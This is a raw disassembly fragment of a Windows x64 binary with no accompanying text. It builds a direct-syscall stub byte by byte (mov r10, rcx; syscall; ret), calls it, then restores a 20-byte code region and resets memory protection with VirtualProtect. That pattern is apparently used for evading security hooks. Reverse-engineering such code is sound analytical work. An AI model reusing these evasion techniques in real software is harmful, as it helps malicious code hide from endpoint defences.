movzx eax, byte [rsp + 0x61]
lea rcx, [rbp + 0x20]
mov byte [rbp + 0x22], al
mov byte [rbp + 0x21], r14b
cmp rdi, rcx
jbe 0x140048413
lea rcx, [rbp + 0x2b]
cmp rdi, rcx
jae 0x140048413
mov rcx, r12
mov rdx, r12
sub rcx, rdi
inc rcx
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x1f]
mov byte [rdx], al
lea rdx, [rdx - 1]
sub rcx, 1
jne 0x140048400
jmp 0x140048433
mov byte [rdi], 0xb8
mov byte [rdi + 1], r14b
mov byte [rdi + 2], al
mov dword [rdi + 3], 0x8b4c0000
mov word [rdi + 7], 0xfd1
mov byte [rdi + 9], 5
mov byte [r12], 0xc3
xor eax, eax
lea r8, [rbp - 0x24]
mov qword [rsp + 0x20], rax
lea r9d, [rax + 1]
lea edx, [rax + 0x11]
lea rcx, [rax - 2]
call rdi
mov esi, eax
mov r8, rdi
movzx r10d, byte [r15 + r8]
movzx r9d, byte [r8]
lea ecx, [r10 - 0x61]
cmp ecx, 0x19
lea edx, [r10 - 0x20]
lea ecx, [r9 - 0x61]
cmova edx, r10d
lea eax, [r9 - 0x20]
cmp ecx, 0x19
cmova eax, r9d
cmp eax, edx
jne 0x140048486
inc r8
sub r13, 1
jne 0x140048450
jmp 0x14004848f
cmp r9d, r10d
jne 0x140048584
lea rax, [rbp + 0x30]
cmp rdi, rax
jbe 0x1400484d0
lea rax, [rbp + 0x44]
cmp rdi, rax
jae 0x1400484d0
lea rcx, [rdi + 0x13]
nop word [rax + rax]
movzx eax, byte [rbp + rbx + 0x2f]
mov byte [rcx], al
lea rcx, [rcx - 1]
sub rbx, 1
jne 0x1400484b0
jmp 0x14004855c
movzx eax, byte [rbp + 0x30]
mov byte [rdi], al
movzx eax, byte [rbp + 0x31]
mov byte [rdi + 1], al
movzx eax, byte [rbp + 0x32]
mov byte [rdi + 2], al
movzx eax, byte [rbp + 0x33]
mov byte [rdi + 3], al
movzx eax, byte [rbp + 0x34]
mov byte [rdi + 4], al
movzx eax, byte [rbp + 0x35]
mov byte [rdi + 5], al
movzx eax, byte [rbp + 0x36]
mov byte [rdi + 6], al
movzx eax, byte [rbp + 0x37]
mov byte [rdi + 7], al
movzx eax, byte [rbp + 0x38]
mov byte [rdi + 8], al
movzx eax, byte [rbp + 0x39]
mov byte [rdi + 9], al
movzx eax, byte [rbp + 0x3a]
mov byte [r12], al
movzx eax, byte [rbp + 0x3b]
mov byte [rdi + 0xb], al
movzx eax, byte [rbp + 0x3c]
mov byte [rdi + 0xc], al
movzx eax, byte [rbp + 0x3d]
mov byte [rdi + 0xd], al
movzx eax, byte [rbp + 0x3e]
mov byte [rdi + 0xe], al
movzx eax, byte [rbp + 0x3f]
mov byte [rdi + 0xf], al
movzx eax, byte [rbp + 0x40]
mov byte [rdi + 0x10], al
movzx eax, byte [rbp + 0x41]
mov byte [rdi + 0x11], al
movzx eax, byte [rbp + 0x42]
mov byte [rdi + 0x12], al
movzx eax, byte [rbp + 0x43]
mov byte [rdi + 0x13], al
mov r8d, dword [rbp - 0x20]
lea r9, [rbp - 0x20]
mov edx, 0x1024
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test esi, esi
js 0x14004817f
cmp byte [rbp - 0x24], 0
jne 0x14004817f
mov al, 1
jmp 0x140048181